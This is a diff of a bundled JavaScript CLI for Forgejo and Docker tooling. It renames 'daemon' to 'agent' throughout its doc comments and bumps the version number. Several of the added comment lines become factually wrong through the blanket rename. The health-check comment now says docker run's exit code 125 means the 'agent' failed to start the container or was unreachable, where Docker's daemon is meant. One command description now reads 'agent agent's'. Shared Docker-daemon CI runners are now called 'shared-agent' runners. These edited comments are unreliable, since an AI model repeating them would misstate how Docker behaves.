13703
  * fetch.
13704
13704
  */
@@ -13886,7 +13886,7 @@ const UserRepoSchema = z.object({
13886
13886
  const UserRepoListSchema = z.array(UserRepoSchema);
13887
13887
  /**
13888
13888
  * Every repo the bot (token) can access, via Forgejo's `/user/repos`, each tagged with whether the
13889
- * bot has write (push or admin) access. This is the daemon's opt-in signal for creating the agent
13889
+ * bot has write (push or admin) access. This is the agent's opt-in signal for creating the agent
13890
13890
  * label vocabulary: inviting the bot as a collaborator is the grant, and membership exists the
13891
13891
  * moment it is invited -- before any label does. `canWrite` is false for a read-only repo; the
13892
13892
  * caller enumerates it but writes no labels there. Paginates until an empty page: Forgejo clamps
@@ -14256,11 +14256,11 @@ function requireForgejoTransport(executor, cwd, target, refusal) {
14256
14256
  *
14257
14257
  * `injectedToken` overrides the ambient `RELEASE_TOKEN`/`FORGEJO_TOKEN` for the Forgejo
14258
14258
  * transport, mirroring `resolveGitCoordinates`'s `injectedToken ?? resolveForgeToken(...)`
14259
- * precedence so a run's forge writes and its git pushes resolve the same identity. The daemon
14259
+ * precedence so a run's forge writes and its git pushes resolve the same identity. The agent
14260
14260
  * passes its bot token here so a run's comments post as the bot even though the operator's
14261
14261
  * personal token is in the shared shell -- without it, git pushed as the bot while comments
14262
14262
  * posted as the operator (the split seen on PR #368). Forgejo-only: the GitHub branch uses
14263
- * `gh`'s own auth and ignores it, which is fine because the daemon is Forgejo-only.
14263
+ * `gh`'s own auth and ignores it, which is fine because the agent is Forgejo-only.
14264
14264
  */
14265
14265
  function resolveIssueTransport(executor, cwd, target, injectedToken, signal = null) {
14266
14266
  if (target !== void 0) {
@@ -14839,7 +14839,7 @@ function parseDuration(value, flag) {
14839
14839
  //#region src/release/pr-checks.ts
14840
14840
  /**
14841
14841
  * `bst pr:checks` -- the PR CI verdict, read live off the PR's current head SHA over the same
14842
- * `@bensandee/forgejo` primitive the automerge gate uses (`readCommitChecks`), so the daemon and
14842
+ * `@bensandee/forgejo` primitive the automerge gate uses (`readCommitChecks`), so the agent and
14843
14843
  * the CLI cannot drift about what green means.
14844
14844
  *
14845
14845
  * This module owns the whole runner (`runPrChecks`); `commands/pr-checks.ts` is the thin citty
@@ -16500,9 +16500,9 @@ function composeUp(executor, config) {
16500
16500
  *
16501
16501
  * `--rmi all` is wrong and must not replace it. It would also remove anything
16502
16502
  * carrying an explicit `image:` tag, and this repo's compose files name
16503
- * `bst-agent`, `bst-agent-proxy` and `bst-agent-daemon` -- images the agent
16504
- * daemon spawns at runtime through `docker run`, not through compose. On a host
16505
- * running the daemon, teardown would delete them out from under it. The flag's
16503
+ * `bst-agent-runner`, `bst-agent-proxy` and `bst-agent` -- the first two are images
16504
+ * the agent spawns at runtime through `docker run`, not through compose. On a host
16505
+ * running the agent, teardown would delete them out from under it. The flag's
16506
16506
  * own semantics are the safety property; do not add a guard around a wider flag.
16507
16507
  */
16508
16508
  function composeDown(executor, config) {
@@ -16528,7 +16528,7 @@ function composeDown(executor, config) {
16528
16528
  * when both streams come back empty -- a streamed dump gives no way to tell "the
16529
16529
  * app produced nothing because nothing ever reached it" from "the dump itself
16530
16530
  * silently failed", which cost real debugging time chasing issue #300's
16531
- * shared-daemon timeout (the derived HTTP probe never reached the app, so its
16531
+ * shared-agent timeout (the derived HTTP probe never reached the app, so its
16532
16532
  * logs were empty on every failing run). Swallows errors.
16533
16533
  */
16534
16534
  function composeLogs(executor, config, service) {
@@ -16550,7 +16550,7 @@ function composeLogs(executor, config, service) {
16550
16550
  * `composeLogs()` at every failure/timeout site -- a container-state snapshot
16551
16551
  * (exit code, "Restarting", etc.) survives even when the target emitted no
16552
16552
  * logs at all, which is exactly what happened chasing issue #300's
16553
- * shared-daemon timeout (the probe never reached the app, so `composeLogs()`
16553
+ * shared-agent timeout (the probe never reached the app, so `composeLogs()`
16554
16554
  * alone gave no signal). Swallows errors, matching `composeLogs()`.
16555
16555
  */
16556
16556
  function composePsDump(executor, config) {
@@ -16603,8 +16603,8 @@ function composePs(executor, config) {
16603
16603
  //#endregion
16604
16604
  //#region src/docker-check/health.ts
16605
16605
  /**
16606
- * `docker run`'s exit code when the *daemon* fails to start the container at
16607
- * all (image not found, pull access denied/timeout, daemon unreachable) --
16606
+ * `docker run`'s exit code when the *agent* fails to start the container at
16607
+ * all (image not found, pull access denied/timeout, agent unreachable) --
16608
16608
  * Docker's own longstanding CLI convention, distinct from the containerized
16609
16609
  * process's own exit code (curl's own failure codes -- e.g. 7 = connection
16610
16610
  * refused, 28 = timeout -- live in a disjoint, lower range). A 125 here means
@@ -16640,7 +16640,7 @@ const PROBE_TIMEOUT_SECONDS = "5";
16640
16640
  *
16641
16641
  * Pinned by digest, not a tag: a tag-pinned probe image would re-pull (and
16642
16642
  * could silently change) on every check run, reintroducing this exact
16643
- * issue's silent-timeout symptom on the very shared-daemon CI runners it
16643
+ * issue's silent-timeout symptom on the very shared-agent CI runners it
16644
16644
  * targets, since registry egress is often restricted there. Resolved from
16645
16645
  * `curlimages/curl:8.21.0` (the latest stable tag as of 2026-07-16) via the
16646
16646
  * Docker Hub registry API -- this is the digest of the multi-arch manifest
@@ -16676,7 +16676,7 @@ function getContainerId(containers, serviceName) {
16676
16676
  * (e.g. a Forgejo runner sharing the host docker daemon) can't reach the
16677
16677
  * target's published host port directly. Deliberately *not* wrapped in the
16678
16678
  * blanket try/catch `checkHttpHealth`'s direct-`fetch()` path uses: a
16679
- * docker-level probe failure (missing image, unreachable daemon) must
16679
+ * docker-level probe failure (missing image, unreachable agent) must
16680
16680
  * surface, not silently degrade to "keep polling" for the full timeout --
16681
16681
  * the exact symptom this feature exists to fix. See
16682
16682
  * `DOCKER_RUN_START_FAILURE_EXIT_CODE` for the 125-exit fail-fast path, and
@@ -17101,7 +17101,7 @@ function parseMaxAgeHours(raw) {
17101
17101
  const dockerSweepCommand = defineCommand({
17102
17102
  meta: {
17103
17103
  name: "docker:sweep",
17104
- description: "Reclaim containers, networks and volumes leaked by past docker:check runs, and the agent daemon's own leaked containers, sidecars and networks"
17104
+ description: "Reclaim containers, networks and volumes leaked by past docker:check runs, and the agent agent's own leaked containers, sidecars and networks"
17105
17105
  },
17106
17106
  args: {
17107
17107
  "dry-run": {
@@ -18037,7 +18037,7 @@ const forgejoWebhooksCommand = defineCommand({
18037
18037
  * is the same module-scoped-registry idiom `setForgejoLogger` uses for the logger seam: `bst`'s
18038
18038
  * own published entry never calls the setter, so the published CLI's registry stays empty and
18039
18039
  * `--set agent` there is simply an unknown set -- the dependency edge (the CLI must not import the
18040
- * agent vocabulary) is kept by the daemon's `bin.ts` being the only caller that ever populates it.
18040
+ * agent vocabulary) is kept by the agent's `bin.ts` being the only caller that ever populates it.
18041
18041
  */
18042
18042
  let contributedLabelSets = {};
18043
18043
  function setContributedLabelSets(sets) {
@@ -18209,7 +18209,7 @@ function isPriorityLabelSpec(spec) {
18209
18209
  }
18210
18210
  /**
18211
18211
  * The alias names a target repo's `.tooling.json#agent.priority` declares -- the D6 signal that
18212
- * the repo owns a priority vocabulary the daemon's four `priority/*` labels would never be
18212
+ * the repo owns a priority vocabulary the agent's four `priority/*` labels would never be
18213
18213
  * applied to. The names themselves matter, not just their presence: an alias may legally live
18214
18214
  * inside the `priority/` scope the agent set owns, and the stale computation must know it is the
18215
18215
  * repo's declared vocabulary rather than a leftover of the set. Degrades to `[]` (include the
@@ -18227,7 +18227,7 @@ async function declaredPriorityAliases(executor, conn) {
18227
18227
  }
18228
18228
  }
18229
18229
  /** The one set `--prune` recognizes as declaring a universe -- the built-in vocabulary
18230
- * `runBstCli`'s daemon caller contributes under this name (see `bin.ts`). Keyed on the *name* the
18230
+ * `runBstCli`'s agent caller contributes under this name (see `bin.ts`). Keyed on the *name* the
18231
18231
  * caller asked for, not on the shape of its specs: a `.tooling.json#labelSets` entry can carry a
18232
18232
  * `priority/*` member of its own without opting into D6's omission semantics, and `--prune` must
18233
18233
  * refuse that case the same as any other generic set. */
@@ -21350,7 +21350,7 @@ const asciiCheckCommand = defineCommand({
21350
21350
  *
21351
21351
  * **The PR listing is not here.** `branch:prune` reads pull requests through `listPulls`
21352
21352
  * (`@bensandee/forgejo/pr`), which is where a PR listing belongs by domain and which the agent
21353
- * daemon shares -- a second implementation of the paging, the clamp handling, and the page-cap
21353
+ * agent shares -- a second implementation of the paging, the clamp handling, and the page-cap
21354
21354
  * warning is exactly the duplication that grouping-by-consumer invites and does not justify.
21355
21355
  *
21356
21356
  * The argument is the merits, not the gate: a branch listing and a config read are not PR reads
@@ -21412,7 +21412,7 @@ async function listForgeBranches(executor, conn, signal = null) {
21412
21412
  return branches;
21413
21413
  }
21414
21414
  /** Exported so `commands/branch-prune.ts`'s local strict re-validation shares this exact shape
21415
- * rather than a second hand-written copy that could quietly drift from what the daemon's
21415
+ * rather than a second hand-written copy that could quietly drift from what the agent's
21416
21416
  * off-forge sweep disqualifies a repo on. */
21417
21417
  const ToolingConfigBranchPruneShapeSchema = z.looseObject({ branchPrune: BranchPruneConfigSchema.optional() });
21418
21418
  /**
@@ -21422,7 +21422,7 @@ const ToolingConfigBranchPruneShapeSchema = z.looseObject({ branchPrune: BranchP
21422
21422
  * resolve to "assume it has none" -- a lenient document read alone would silently widen what gets
21423
21423
  * deleted the moment a `.tooling.json` carries a key this binary's schema does not know about.
21424
21424
  * Lives beside {@link fetchBranchPruneOverride} and shares its schema, so the local command and
21425
- * the daemon's off-forge sweep cannot drift about what disqualifies a repo.
21425
+ * the agent's off-forge sweep cannot drift about what disqualifies a repo.
21426
21426
  */
21427
21427
  function readBranchPruneBlockFromDisk(targetDir) {
21428
21428
  const fullPath = path.join(targetDir, ".tooling.json");
@@ -21607,7 +21607,7 @@ function parseLsRemoteHeadNames(stdout) {
21607
21607
  }
21608
21608
  /**
21609
21609
  * The thin I/O shell around `selectBranchesToPrune`: lists the remote branch set (`git
21610
- * ls-remote --heads`, the same read `daemon-lease.ts` already uses) joined against the forge's
21610
+ * ls-remote --heads`, the same read `lease.ts` already uses) joined against the forge's
21611
21611
  * protected-flag/commit-date read, lists every PR ever opened (`state=all`), runs the pure
21612
21612
  * decision core, then -- unless `options.dryRun` -- deletes each selected branch.
21613
21613
  *
@@ -24907,7 +24907,7 @@ setForgejoLogger(log$1);
24907
24907
  * `local <sha>[-dirty]` otherwise -- so an artifact built from the working tree
24908
24908
  * can't pass itself off as the published release whose version it carries.
24909
24909
  */
24910
- const displayVersion = "0.72.1";
24910
+ const displayVersion = "0.72.2";
24911
24911
  /**
24912
24912
  * Wait until a stream's internally-buffered data has been flushed to the OS.
24913
24913
  *
@@ -24947,7 +24947,7 @@ async function exitWithJsonError(command, kind, message, detail) {
24947
24947
  * The registered `bst` subcommand map, exported so both the JSON entry path below (resolving a
24948
24948
  * command name before citty parses anything) and the coverage test (enumerating every
24949
24949
  * registered command) read one definition. Does not include `extraSubCommands` -- those are the
24950
- * daemon's own `agent:*` commands, spread in at call time in `runBstCli`. They live in
24950
+ * agent's own `agent:*` commands, spread in at call time in `runBstCli`. They live in
24951
24951
  * `@bensandee/agent`'s own `agentSubCommands` registry (`packages/agent/src/commands/registry.ts`)
24952
24952
  * and are covered by that package's own sibling coverage tests since this package cannot see them.
24953
24953
  */
@@ -25005,7 +25005,7 @@ const bstSubCommands = {
25005
25005
  "issue:reopen": issueReopenCommand
25006
25006
  };
25007
25007
  /**
25008
- * Build and run the bst CLI. The daemon's own entry registers its commands on top via
25008
+ * Build and run the bst CLI. The agent's own entry registers its commands on top via
25009
25009
  * `extraSubCommands`, and contributes its own label sets (e.g. `agent`) via
25010
25010
  * `contributedLabelSets` for `forgejo:labels` to resolve `--set` against; the published entry
25011
25011
  * passes neither, so a published `bst forgejo:labels sync --set agent` reports the set unknown.